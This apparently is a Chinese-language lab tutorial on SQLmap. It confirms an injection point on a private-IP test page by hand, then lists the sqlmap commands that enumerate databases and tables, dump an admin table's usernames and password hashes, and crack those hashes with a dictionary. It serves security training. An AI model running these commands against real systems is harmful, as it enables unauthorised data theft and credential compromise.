01SQLmap进行注入点判断
SQLmap: SQLmap是一个自动化的SQL注入工具,主要功能是扫描,发现并利用SQL注入漏洞
支持的数据库
MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB
SQLmap采用几种独特的SQL注入技术
盲推理SQL注入
UNION查询SQL注入
堆查询
盲注
广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。
02SQLmap注入出数据
步骤1:注入点判断
http://172.16.12.2/inject.php?id=1
id=1 可能是一个与数据库进行交互的参数
id=1后面加上语句 探测那些语句是否怎地被带入查询
id=1 and 0
http://172.16.12.2/inject.php?id=1 and 0 假
http://172.16.12.2/inject.php?id=1 and 1 真
SQLmap工具进行注入测试
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1"
-u 参数指定目标注入地址
识别mysql数据库
it looks likee MySQL y
注入等级
level y
id 这个参数被认定是可注入参数
id is vulnerable 直接回车
返回信息
web server Windows
web application PHP 5.3.29 Apache 2.4.10
MySQL >= 5.5
步骤2 注入出数据
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –dbs
–dbs 列数据库
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" –current-db
–current-db 列当前数据库
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" -D sqlinject –tables
-D dbname 指定数据库名称
–tables 列出某数据库上的所有表
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" -D sqlinject -T admin –columns
-D dbname 指定数据库名称
-T tablename 指定某数据表名称
–columns 列出指定表上的所有列
python sqlmap.py -u “http://172.16.12.2/inject.php?id=1" -D sqlinject -T admin -C id,username,password –dump
-D dbname 指定数据库名称
-T tablename 指定某数据表名称
-C Cnmme 指定列名
–dump 导出列里面的字段
do you want to crack them via a dictionary-based attck?[y/n/q]
导出的数据经过MD5加密,通过字典爆破数据密码
直接回车
do you want to use?
选择什么字典
1